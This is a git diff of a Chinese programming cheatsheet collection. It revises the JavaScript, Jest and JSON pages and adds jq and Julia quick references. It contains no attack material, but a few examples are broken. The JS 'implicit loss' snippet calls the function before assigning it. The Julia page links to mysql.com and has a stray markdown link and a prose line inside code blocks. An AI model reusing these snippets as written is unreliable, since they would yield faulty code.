abc.split("");
|
||||
// 匹配开头字符串,如果忽略第二个参数,则从索引 0 开始匹配
|
||||
abc.startsWith("bc", 1);
|
||||
// 匹配结尾的字符串,如果忽略第二个参数,则默认是原字符串长度
|
||||
abc.endsWith("wxy", abc.length - 1);
|
||||
// padEnd 和 padStart 都用于填充长度,默认填充对象是空格
|
||||
"200".padEnd(5); // "200 "
|
||||
"200".padEnd(5, "."); // "200.."
|
||||
// 重复字符
|
||||
"abc".repeat(2); // "abcabc"
|
||||
// trim、trimEnd 和 trimStart 用于去除首尾空格
|
||||
" ab c ".trim(); // "ab c"
|
||||
// 数字转为十六进制 (16)、八进制 (8) 或二进制 (2)
|
||||
128.toString(16);
|
||||
(128).toString(16);
|
||||
```
|
||||
|
||||
### 数字
|
||||
@ -220,9 +231,9 @@ String(23);
|
||||
(23).toString();
|
||||
// 从字符串返回数字
|
||||
Number("23");
|
||||
// 解码 URI。 结果:“我的 page.asp”
|
||||
// 解码 URI。 结果:“my page.asp”
|
||||
decodeURI(enc);
|
||||
// 编码 URI。 结果:“my%page.asp”
|
||||
// 编码 URI。 结果:“my%20page.asp”
|
||||
encodeURI(uri);
|
||||
// 解码 URI 组件
|
||||
decodeURIComponent(enc);
|
||||
@ -238,11 +249,9 @@ parseFloat();
|
||||
parseInt();
|
||||
```
|
||||
|
||||
|
||||
JavaScript 条件
|
||||
----
|
||||
|
||||
|
||||
### 操作符
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
@ -273,7 +282,7 @@ true && false; // false
|
||||
1 === '1' // false
|
||||
```
|
||||
|
||||
#### 逻辑运算符 !
|
||||
#### 逻辑运算符
|
||||
|
||||
```javascript
|
||||
let lateToWork = true;
|
||||
@ -727,7 +736,6 @@ numbers.concat(newFirstNumber)
|
||||
|
||||
如果你想避免改变你的原始数组,你可以使用 concat。
|
||||
|
||||
|
||||
### 方法 .splice()
|
||||
|
||||
```javascript
|
||||
@ -1182,6 +1190,100 @@ console.log(myCat.name);
|
||||
myCat.name = 'Yankee';
|
||||
```
|
||||
|
||||
JavaScript this 绑定
|
||||
----
|
||||
|
||||
### 隐式绑定
|
||||
|
||||
```js
|
||||
function foo() {
|
||||
console.log(this)
|
||||
}
|
||||
let obj1 = {
|
||||
name: "obj1",
|
||||
foo: foo
|
||||
}
|
||||
let obj2 = {
|
||||
name: "obj2",
|
||||
obj1: obj1
|
||||
}
|
||||
obj2.obj1.foo() // [Object obj1]
|
||||
```
|
||||
|
||||
#### 隐式丢失
|
||||
|
||||
```js
|
||||
let a = obj2.obj1.foo()
|
||||
a() // Window
|
||||
```
|
||||
|
||||
- 指定隐式绑定:必须在调用的对象内部有一个对函数的引用(比如一个属性)
|
||||
- 将以上调用赋值给一个变量,结果最终会是 Window
|
||||
- 在 a 被调用的位置没有进行过任何显示绑定,最终全局对象 window 会调用它(`Window.a`)
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
### 显示绑定
|
||||
|
||||
```js
|
||||
function getName(a1, a2) {
|
||||
console.log("此人" + this.name, "岁数" + (a1 + a2))
|
||||
}
|
||||
let person = {
|
||||
name: "zhangsan"
|
||||
}
|
||||
```
|
||||
|
||||
#### call
|
||||
|
||||
call 第一个参数接受 this 作用域,剩余参数传递给其调用的函数
|
||||
|
||||
```js
|
||||
getName.call(person, 18, 12)
|
||||
```
|
||||
|
||||
#### apply
|
||||
|
||||
apply 第一个参数与 call 相同,第二个参数是其调用函数的参数数组
|
||||
|
||||
```js
|
||||
getName.apply(person, [18, 12])
|
||||
```
|
||||
|
||||
#### bind
|
||||
|
||||
bind 函数会返回一个新函数
|
||||
|
||||
```js
|
||||
getName.bind(person,18,12)()
|
||||
//或者可以这样
|
||||
getName.bind(person)(18, 12)
|
||||
//或者这样
|
||||
getName.bind(person).bind(null, 18)(12)
|
||||
```
|
||||
|
||||
### 内置函数中的 this
|
||||
|
||||
数组中的一些方法,类似于 map、forEach 等,可以自己设置绑定 this
|
||||
|
||||
```js
|
||||
const obj = {
|
||||
name: "zhangsan"
|
||||
}
|
||||
const array = [1, 2, 3];
|
||||
array.map(function(value){
|
||||
console.log(this.name)
|
||||
}, obj)
|
||||
// zhangsan x3
|
||||
```
|
||||
|
||||
其中一些全局对象,如 setTimeout 等,它们和未显示绑定 this 的部分数组方法一样,都会指向全局对象(`Window`)
|
||||
|
||||
```js
|
||||
setTimeout(function(){
|
||||
console.log(this)
|
||||
}, 1000) // Window
|
||||
```
|
||||
|
||||
JavaScript Classes
|
||||
----
|
||||
|
||||
@ -1295,7 +1397,6 @@ class Song {
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
JavaScript Modules
|
||||
----
|
||||
<!--rehype:body-class=cols-2-->
|
||||
@ -1639,7 +1740,7 @@ msg(); // Message: Hello World! <-- 2 秒后
|
||||
JavaScript 请求
|
||||
----
|
||||
|
||||
### JSON
|
||||
### JSON
|
||||
|
||||
```JS
|
||||
const jsonObj = {
|
||||
@ -1771,4 +1872,4 @@ const getSuggestions = async () => {
|
||||
console.log(error)
|
||||
}
|
||||
}
|
||||
```
|
||||
```
|
||||
|
@ -546,7 +546,6 @@ test('async test', () => {
|
||||
|
||||
从你的测试中 _返回_ 一个 `Promise`
|
||||
|
||||
|
||||
## 模拟
|
||||
|
||||
### 模拟函数
|
||||
@ -800,7 +799,6 @@ const fs = require('fs')
|
||||
const fs = require.requireActual('fs')
|
||||
```
|
||||
|
||||
|
||||
数据驱动测试(Jest 23+)
|
||||
----
|
||||
|
||||
@ -886,7 +884,6 @@ test('第二个文本', () => {
|
||||
|
||||
`Node.js` 和 `Jest` 会缓存你需要的模块。 要测试具有副作用的模块,您需要在测试之间重置模块注册表
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
|
255
docs/jq.md
Normal file
255
docs/jq.md
Normal file
@ -0,0 +1,255 @@
|
||||
jq 备忘清单
|
||||
===
|
||||
|
||||
这个快速参考备忘单提供了使用 [jq](https://stedolan.github.io/jq/) 命令的各种方法。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
|
||||
jq 就像用于 JSON 数据的 [sed](./sed.md) - 您可以使用它来切片、过滤、映射和转换结构化数据
|
||||
|
||||
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
|
||||
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_
|
||||
|
||||
安装
|
||||
|
||||
```bash
|
||||
$ sudo apt-get install jq # Debian& Ubuntu
|
||||
$ sudo dnf install jq # Fedora
|
||||
$ sudo zypper install jq # openSUSE
|
||||
$ sudo pacman -S jq # Arch
|
||||
$ brew install jq # macOS & Homebrew
|
||||
$ port install jq # macOS & MacPorts
|
||||
```
|
||||
|
||||
语法
|
||||
|
||||
```bash
|
||||
$ jq [options] <jq filter> [file...]
|
||||
$ jq [options] --args <jq filter> [strings...]
|
||||
$ jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 选项
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-c` | 紧凑而不是漂亮的输出
|
||||
`-n` | 使用`null`作为单个输入值
|
||||
`-e` | 根据输出设置退出状态代码
|
||||
`-s` | 将所有输入读取(吸取)到数组中;应用过滤器
|
||||
`-r` | 输出原始字符串,而不是JSON文本
|
||||
`-R` | 读取原始字符串,而不是JSON文本
|
||||
`-C` | 为 JSON 着色
|
||||
`-M` | 单色(不要为JSON着色)
|
||||
`-S` | 在输出上排序对象的键
|
||||
`--tab` | 使用制表符进行缩进
|
||||
`--arg a v` | 将变量 `$a` 设置为 value `<v>`
|
||||
`--argjson a v` | 将变量 `$a` 设置为 JSON value `<v>`
|
||||
`--slurpfile a f` | 将变量 `$a` 设置为从`<f>`读取的JSON文本数组
|
||||
`--rawfile a f` | 将变量 `$a` 设置为包含`<f>`内容的字符串
|
||||
`--args` | 其余参数是字符串参数,而不是文件
|
||||
`--jsonargs` | 其余的参数是JSON参数,而不是文件
|
||||
`--` | 终止参数处理
|
||||
|
||||
学习示例
|
||||
---
|
||||
|
||||
### 获取一个键的值
|
||||
|
||||
```bash
|
||||
$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
42
|
||||
```
|
||||
|
||||
### 数组运算
|
||||
|
||||
```bash
|
||||
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
{
|
||||
"name": "XML",
|
||||
"good": false
|
||||
}
|
||||
```
|
||||
|
||||
### 构造一个数组/对象
|
||||
|
||||
```bash
|
||||
$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
{
|
||||
"user": "stedolan",
|
||||
"title": "JQ Primer"
|
||||
}
|
||||
{
|
||||
"user": "stedolan",
|
||||
"title": "More JQ"
|
||||
}
|
||||
```
|
||||
|
||||
### 计算一个值的长度
|
||||
|
||||
```bash
|
||||
$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
2
|
||||
6
|
||||
1
|
||||
0
|
||||
```
|
||||
|
||||
### 取出数组中的键
|
||||
|
||||
```bash
|
||||
$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
[
|
||||
"Foo",
|
||||
"abc",
|
||||
"abcd"
|
||||
]
|
||||
```
|
||||
|
||||
### 使用多个过滤器
|
||||
|
||||
```bash
|
||||
$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
42
|
||||
"something else"
|
||||
```
|
||||
|
||||
### 管道传递给下一个过滤器
|
||||
|
||||
```bash
|
||||
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
"JSON"
|
||||
"XML"
|
||||
```
|
||||
|
||||
### 条件语句判断
|
||||
|
||||
```bash
|
||||
$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
[
|
||||
5,
|
||||
3,
|
||||
7
|
||||
]
|
||||
```
|
||||
|
||||
### 每个输入调用过滤器
|
||||
|
||||
```bash
|
||||
$ echo '[1,2,3]' | jq 'map(.+1)'
|
||||
```
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
[
|
||||
2,
|
||||
3,
|
||||
4
|
||||
]
|
||||
```
|
||||
|
||||
### 条件判断
|
||||
|
||||
```bash
|
||||
$ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
"many"
|
||||
```
|
||||
|
||||
### 字符串插入值并进行运算
|
||||
|
||||
```bash
|
||||
$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```bash
|
||||
"The input was 42, which is one less than 43"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 字符串转 JSON 数组
|
||||
|
||||
```bash
|
||||
$ echo 'a b c d' | jq -R 'split(" ")'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
输出结果
|
||||
|
||||
```json
|
||||
[
|
||||
"a",
|
||||
"b",
|
||||
"c",
|
||||
"d"
|
||||
]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
|
||||
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_
|
10
docs/json.md
10
docs/json.md
@ -75,13 +75,13 @@ JSON 备忘清单
|
||||
```json
|
||||
{ "foo": 'bar' }
|
||||
```
|
||||
Have to be delimited by double quotes
|
||||
|
||||
Have to be delimited by double quotes
|
||||
|
||||
### 数字
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
类型 | 说明
|
||||
类型 | 说明
|
||||
-----|------
|
||||
`Integer` | 数字 1-9、0 和正数或负数
|
||||
`Fraction` | 0.3、3.9 等分数
|
||||
@ -297,6 +297,7 @@ let myArray = [
|
||||
}
|
||||
];
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
| | |
|
||||
@ -320,7 +321,7 @@ let myArray = [
|
||||
];
|
||||
```
|
||||
|
||||
-----
|
||||
----
|
||||
|
||||
| | |
|
||||
|--------------|-----------|
|
||||
@ -328,10 +329,9 @@ let myArray = [
|
||||
| `myArray[5]` | true |
|
||||
| `myArray[6]` | undefined |
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [JSON](https://www.json.org/json-en.html) _(json.org)_
|
||||
- [JSON Editor Online](http://jsoneditoronline.org/) _(jsoneditoronline.org)_
|
||||
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
|
||||
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
|
||||
|
681
docs/julia.md
Normal file
681
docs/julia.md
Normal file
@ -0,0 +1,681 @@
|
||||
Julia 备忘清单
|
||||
===
|
||||
|
||||
本备忘清单旨在快速理解 [Julia](https://mysql.com) 一份简单而粗略的语言概览,供您参考。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### Julia 是什么?
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
- **`Julia`** 是一种为科学计算而生的,开源、多平台、高性能的高级编程语言
|
||||
- **`Julia`** 有一个基于 LLVM 的 JIT 编译器,这让使用者无需编写底层的代码也能拥有像 C 与 FORTRAN 那样的性能。因为代码在运行中编译,你可以在 shell 或 REPL 中运行代码,这也是一种推荐的工作流程
|
||||
- **`Julia`** 是动态类型的。并且提供了为并行计算和分布式运算设计的多重派发机制
|
||||
- **`Julia`** 自带包管理器
|
||||
- **`Julia`** 有许多内置的数学函数,包括特殊函数 (例如:Gamma 函数)。并且支持开箱即用的复数运算
|
||||
- **`Julia`** 允许你通过类似 Lisp 的宏来自动生成代码
|
||||
- **`Julia`** 诞生于 2012 年
|
||||
|
||||
### 赋值语句
|
||||
|
||||
```julia
|
||||
answer = 42
|
||||
x, y, z = 1, [1:10; ], "A string"
|
||||
x, y = y, x # 交换 x, y
|
||||
```
|
||||
|
||||
### 常量定义
|
||||
|
||||
```julia
|
||||
const DATE_OF_BIRTH = 2012
|
||||
```
|
||||
|
||||
### 行尾注释
|
||||
|
||||
```julia
|
||||
i = 1 # 这是一行注释
|
||||
# 多行注释
|
||||
#= 这是另一行注释 =#
|
||||
```
|
||||
|
||||
### 链式操作
|
||||
|
||||
```julia
|
||||
x = y = z = 1 # 从右向左
|
||||
0 < x < 3 # true
|
||||
5 < x != y < 5 # false
|
||||
```
|
||||
|
||||
### 函数定义
|
||||
|
||||
```julia
|
||||
function add_one(i)
|
||||
return i + 1
|
||||
end
|
||||
```
|
||||
|
||||
### 插入 LaTeX 符号
|
||||
|
||||
```julia
|
||||
\delta + [Tab] # δ
|
||||
```
|
||||
|
||||
### 运算符
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
基本算数运算 | `+`,`-`,`*`,`/`
|
||||
幂运算 | `2^3` => 8
|
||||
除法 | `3/12` => 0.25
|
||||
反向除法 | `7\3 == 3/7` => true
|
||||
取余 | `x % y` 或 `rem(x,y)`
|
||||
取反 | `!true` => false
|
||||
等于 | `a == b`
|
||||
不等于 | `a != b` 或 `a ≠ b`
|
||||
小于与大于 | `<` 与 `>`
|
||||
小于等于 | `<=` 或 `≤`
|
||||
大于等于 | `>=` 或 `≥`
|
||||
逐元素运算(点运算) | `[1, 2, 3] .+ [1, 2, 3] == [2, 4, 6]` => true<br /> `[1, 2, 3] .* [1, 2, 3] == [1, 4, 9]` => true
|
||||
检测非数值(NaN) | `isnan(NaN)` => true <br />而不是 `NaN == NaN` => false
|
||||
三元运算符 | `a == b ? "Equal" : "Not equal"`
|
||||
短路 AND 和 OR 表达式 | `a && b` 和 `a \|\| b`
|
||||
对象等价 | `a === b`
|
||||
|
||||
### shell/REPL 环境
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
上一次运算的结果 | `ans`
|
||||
中断命令执行 | <kbd>Ctrl</kbd> + <kbd>C</kbd>
|
||||
清屏 | <kbd>Ctrl</kbd> + <kbd>L</kbd>
|
||||
运行程序文件 | `include("filename.jl")`
|
||||
查找 func 相关的帮助 | `?func`
|
||||
查找 func 的所有定义 | `apropos("func")`
|
||||
命令行模式 | `;`
|
||||
包管理模式 | `]`
|
||||
帮助模式 | `?`
|
||||
查找特殊符号输入方式 | `?☆ # "☆" can be typed by \bigwhitestar<tab>`
|
||||
退出特殊模式,返回到 REPL | 在空行上按 <kbd>Backspace</kbd>
|
||||
退出 REPL | `exit()` 或 <kbd>Ctrl</kbd> + <kbd>D</kbd>
|
||||
|
||||
### 缺失值与空值
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
空值(Null) | `nothing`
|
||||
缺失数据 | `missing`
|
||||
浮点数的非数值 | `NaN`
|
||||
滤除缺失值 | `collect(skipmissing([1, 2, missing])) == [1,2]`
|
||||
替换缺失值 | `collect((df[:col], 1))`
|
||||
检查是否有缺失值 | `ismissing(x)` 而不是 `x == missing`
|
||||
|
||||
### 自我检查与反射
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
类型 | `typeof(name)`
|
||||
类型检查 | `isa(name, TypeName)`
|
||||
列出子类型 | `subtypes(TypeName)`
|
||||
列出超类型 | `supertype(TypeName)`
|
||||
函数方法 | `methods(func)`
|
||||
即时编译的字节码 | `code_llvm(expr)`
|
||||
汇编代码 | `code_native(expr)`
|
||||
|
||||
### 随机数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
设置随机数种子 | `Random.seed!(seed)`
|
||||
产生随机数 | `rand()` # 均匀分布 [0,1)<br/>`randn()` # 正态分布 (-Inf, Inf)
|
||||
产生特定分布的随机数 | `using Distributions`<br/>`my_dist = Bernoulli(0.2)` 举例<br/>`rand(my_dist)`
|
||||
以概率 p 从 A 中进行伯努利抽样 | `randsubseq(A, p)`
|
||||
随机重排 A 中的元素 | `shuffle(A)`
|
||||
|
||||
许多随机数函数都需要 `using Random`
|
||||
|
||||
### 异常处理
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```julia
|
||||
# 抛出异常 SomeExcep
|
||||
throw(SomeExcep())
|
||||
# 再次引发当前的异常
|
||||
rethrow()
|
||||
```
|
||||
|
||||
定义新异常 NewExcep
|
||||
|
||||
```julia
|
||||
struct NewExcep <: Exception
|
||||
v::String
|
||||
end
|
||||
Base.showerror(io::IO, e::NewExcep) = print(io, "A problem with $(e.v)!")
|
||||
|
||||
throw(NewExcep("x"))
|
||||
# 抛出带文本的异常
|
||||
error(msg)
|
||||
```
|
||||
|
||||
异常处理流程
|
||||
|
||||
```julia
|
||||
try
|
||||
# 进行一些可能会失败的操作
|
||||
catch ex
|
||||
if isa(ex, SomeExcep)
|
||||
# 处理异常 SomeExcep
|
||||
elseif isa(ex, AnotherExcep)
|
||||
# 处理另一个异常 AnotherExcep
|
||||
else
|
||||
# 处理其余的异常
|
||||
end
|
||||
finally
|
||||
# 永远执行这些语句
|
||||
end
|
||||
```
|
||||
|
||||
### 类型
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```julia
|
||||
# 类型注释
|
||||
var::TypeName
|
||||
# 类型声明
|
||||
struct Programmer
|
||||
name::String
|
||||
birth_year::UInt16
|
||||
fave_language::AbstractString
|
||||
end
|
||||
# 可变类型声明
|
||||
将 struct 替换为 mutable struct
|
||||
# 类型别名
|
||||
const Nerd = Programmer
|
||||
# 类型构造器
|
||||
methods(TypeName)
|
||||
# 类型实例
|
||||
me = Programmer("Ian", 1984, "Julia")
|
||||
me = Nerd("Ian", 1984, "Julia")
|
||||
# 子类型声明
|
||||
abstract type Bird end
|
||||
struct Duck <: Bird
|
||||
pond::String
|
||||
end
|
||||
# 参数化类型
|
||||
struct Point{T <: Real}
|
||||
x::T
|
||||
y::T
|
||||
end
|
||||
|
||||
p = Point{Float64}(1,2)
|
||||
# 联合类型
|
||||
Union{Int, String}
|
||||
# 遍历类型层级
|
||||
supertype(TypeName) 和 subtypes(TypeName)
|
||||
# 默认的超类型
|
||||
Any
|
||||
# 所有字段
|
||||
fieldnames(TypeName)
|
||||
# 所有字段类型
|
||||
TypeName.types
|
||||
```
|
||||
|
||||
### 标准库
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
Random | `rand`, `randn`, `randsubseq`
|
||||
Statistics | `mean`, `std`, `cor`, `median`, `quantile`
|
||||
LinearAlgebra | `I`, `eigvals`, `eigvecs`, `det`, `cholesky`
|
||||
SparseArrays | `sparse`, `SparseVector`, `SparseMatrixCSC`
|
||||
Distributed | `@distributed`, `pmap`, `addprocs`
|
||||
Dates | `DateTime`, `Date`
|
||||
|
||||
### 表达式
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
使用引用 `:( ... )` 或块引用 `quote ... end` 可以创建一个表达式,就像 `parse(str)`,和 `Expr(:call, ...)`。
|
||||
|
||||
```julia
|
||||
x = 1
|
||||
line = "1 + $x" # 一些代码
|
||||
expr = Meta.parse(line) # 生成一个 Expr 对象
|
||||
typeof(expr) == Expr # true
|
||||
dump(expr) # 打印生成抽象语法(AST)
|
||||
eval(expr) == 2 # 对 Expr 对象求值: true
|
||||
```
|
||||
|
||||
Julia 具有同像性:程序被表示为语言本身的数据结构。 实际上 `Julia` 语言里的任何东西都是一个表达式 `Expr`。符号(`Symbols`)即驻留字符串 ,以冒号 `:` 为前缀。相对于其他类型来说,符号效率更高。它也经常用作标识符、字典的键或者数据表里的列名。符号不能进行拼接。
|
||||
|
||||
### 输入/输出
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
读取流
|
||||
|
||||
```julia
|
||||
stream = stdin
|
||||
for line in eachline(stream)
|
||||
# 做点啥
|
||||
end
|
||||
```
|
||||
|
||||
读取文件
|
||||
|
||||
```julia
|
||||
open(filename) do file
|
||||
for line in eachline(file)
|
||||
# 做点啥
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
读取/写入 CSV 文件
|
||||
|
||||
```julia
|
||||
# 读取 CSV 文件
|
||||
using CSV
|
||||
data = CSV.File(filename)
|
||||
# 写入 CSV 文件
|
||||
[label](koajs.md)CSV.write(filename, data)
|
||||
```
|
||||
|
||||
读取/保存 Julia 对象
|
||||
|
||||
```julia
|
||||
using JLD
|
||||
# 保存 Julia 对象
|
||||
save(filename, "object_key", object, ...)
|
||||
# 读取 Julia 对象
|
||||
d = load(filename) # 返回对象的字典
|
||||
```
|
||||
|
||||
读取/保存 HDF5
|
||||
|
||||
```julia
|
||||
using HDF5
|
||||
# 保存 HDF5
|
||||
h5write(filename, "key", object)
|
||||
# 读取 HDF5
|
||||
h5read(filename, "key")
|
||||
```
|
||||
|
||||
### 宏
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
宏允许你在程序中自动生成代码(如:表达式)
|
||||
|
||||
```julia
|
||||
# 定义
|
||||
macro macroname(expr)
|
||||
# 做点啥
|
||||
end
|
||||
```
|
||||
|
||||
使用
|
||||
|
||||
```julia
|
||||
macroname(ex1, ex2, ...) 或 @macroname ex1, ex2, ...
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
内置的宏
|
||||
|
||||
```julia
|
||||
@assert # assert (单元测试)
|
||||
@which # 查看对特定参数使用的方法/查找函数所在的模块
|
||||
@time # 运行时间与内存分配统计
|
||||
@elapsed # 返回执行用时
|
||||
@allocated # 查看内存分配
|
||||
@async # 异步任务
|
||||
|
||||
using Test
|
||||
@test # 精确相等
|
||||
@test x ≈ y # 近似相等 isapprox(x, y)
|
||||
|
||||
using Profile
|
||||
@profile # 优化
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
创建 卫生宏 (hygienic macros)的规则:
|
||||
|
||||
- 在宏的内部只通过 `local` 声明本地变量
|
||||
- 在宏的内部不使用 `eval`
|
||||
- 转义插值表达式以避免宏变大:`$(esc(expr))`
|
||||
|
||||
### 并行计算
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
并行计算相关的工具可以在标准库 `Distributed` 里找到
|
||||
|
||||
```julia
|
||||
# 启动带 N 各 worker 的 REPL
|
||||
julia -p N
|
||||
# 可用的 worker 数量
|
||||
nprocs()
|
||||
# 添加 N 个 worker
|
||||
addprocs(N)
|
||||
# 查看所有 worker 的 pid
|
||||
for pid in workers()
|
||||
println(pid)
|
||||
end
|
||||
# 获得正在执行的 worker 的 id
|
||||
myid()
|
||||
# 移除 worker
|
||||
rmprocs(pid)
|
||||
# 在特定 pid 的 worker 上运行 f(args)
|
||||
r = remotecall(f, pid, args...)
|
||||
# 或:
|
||||
r = @spawnat pid f(args)
|
||||
...
|
||||
fetch(r)
|
||||
# 在特定 pid 的 worker 上运行 f(args) (更高效)
|
||||
remotecall_fetch(f, pid, args...)
|
||||
# 在任意 worker 上运行 f(args)
|
||||
r = @spawn f(args) ... fetch(r)
|
||||
# 在所有 worker 上运行 f(args)
|
||||
r = [@spawnat w f(args) for w in workers()] ... fetch(r)
|
||||
# 让表达式 expr 在所有 worker 上执行
|
||||
@everywhere expr
|
||||
# 并行化带规约函数 red 的循环
|
||||
sum = @distributed (red) for i in 1:10^6
|
||||
# 进行并行任务
|
||||
end
|
||||
# 将 f 用用到集合 coll 中的所有元素上
|
||||
pmap(f, coll)
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 数组
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
声明数组 | `arr = Float64[]`
|
||||
预分配内存 | `sizehint!(arr, 10^4)`
|
||||
访问与赋值 | `arr = Any[1,2]`<br/>`arr[1] = "Some text"`
|
||||
从 m 到 n 的子数组 | `arr[m:n]`
|
||||
n 个 `0.0` 填充的数组 | `zeros(n)`
|
||||
n 个 `1.0` 填充的数组 | `ones(n)`
|
||||
n 个随机 Int8 填充的数组 | `rand(Int8, n)`
|
||||
用值 val 填充数组 | `fill!(arr, val)`
|
||||
弹出最后一个元素 | `pop!(arr)`
|
||||
弹出第一个元素 | `popfirst!(a)`
|
||||
n 个 `#undef` 填充的数组 | `Vector{Type}(undef,n)`
|
||||
n 个从 `start` 到 `stop` 的等间距数 | `range(start,stop=stop,length=n)`
|
||||
将值 `val` 作为最后一个元素压入数组 | `push!(arr, val)`
|
||||
将值 `val` 作为第一个元素压入数组 | `pushfirst!(arr, val)`
|
||||
删除指定索引值的元素 | `deleteat!(arr, idx)`
|
||||
数组排序 | `sort!(arr)`
|
||||
将 `b` 连接到 `a` 后 | `append!(a,b)`
|
||||
转化为字符串,并以 delim 分隔 | `join(arr, delim)`
|
||||
<!--rehype:className=left-align-->
|
||||
|
||||
---
|
||||
|
||||
```julia
|
||||
# 数组比较
|
||||
a = [1:10;]
|
||||
b = a # b 指向 a
|
||||
a[1] = -99
|
||||
a == b # true
|
||||
# 复制元素(而不是地址)/深拷贝
|
||||
b = copy(a)
|
||||
b = deepcopy(a)
|
||||
# 检查值 val 是否在数组 arr 中
|
||||
in(val, arr) # 或
|
||||
val in arr
|
||||
# 改变维数
|
||||
reshape(1:6, 3, 2)' == [1 2 3; 4 5 6]
|
||||
```
|
||||
|
||||
### 线性代数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
单位矩阵 | `I`
|
||||
定义矩阵 | `M = [1 0; 0 1]`
|
||||
矩阵维数 | `size(M)`
|
||||
选出第 i 行 | `M[i, :]`
|
||||
选出第 j 列 | `M[:, j]`
|
||||
水平拼接 | `M = [a b] 或 M = hcat(a, b)`
|
||||
竖直拼接 | `M = [a ; b]` 或 `M = vcat(a, b)`
|
||||
矩阵转置 | `transpose(M)`
|
||||
共轭转置 | `M'` 或 `adjoint(M)`
|
||||
迹(trace) | `tr(M)`
|
||||
行列式 | `det(M)`
|
||||
秩(rank) | `rank(M)`
|
||||
特征值 | `eigvals(M)`
|
||||
特征向量 | `eigvecs(M)`
|
||||
矩阵求逆 | `inv(M)`
|
||||
解矩阵方程 `M*x == v` | `M\v` 比 `inv(M)*v` 更好
|
||||
求 Moore-Penrose 伪逆 | `pinv(M)`
|
||||
<!--rehype:className=left-align-->
|
||||
|
||||
控制流与循环
|
||||
---
|
||||
|
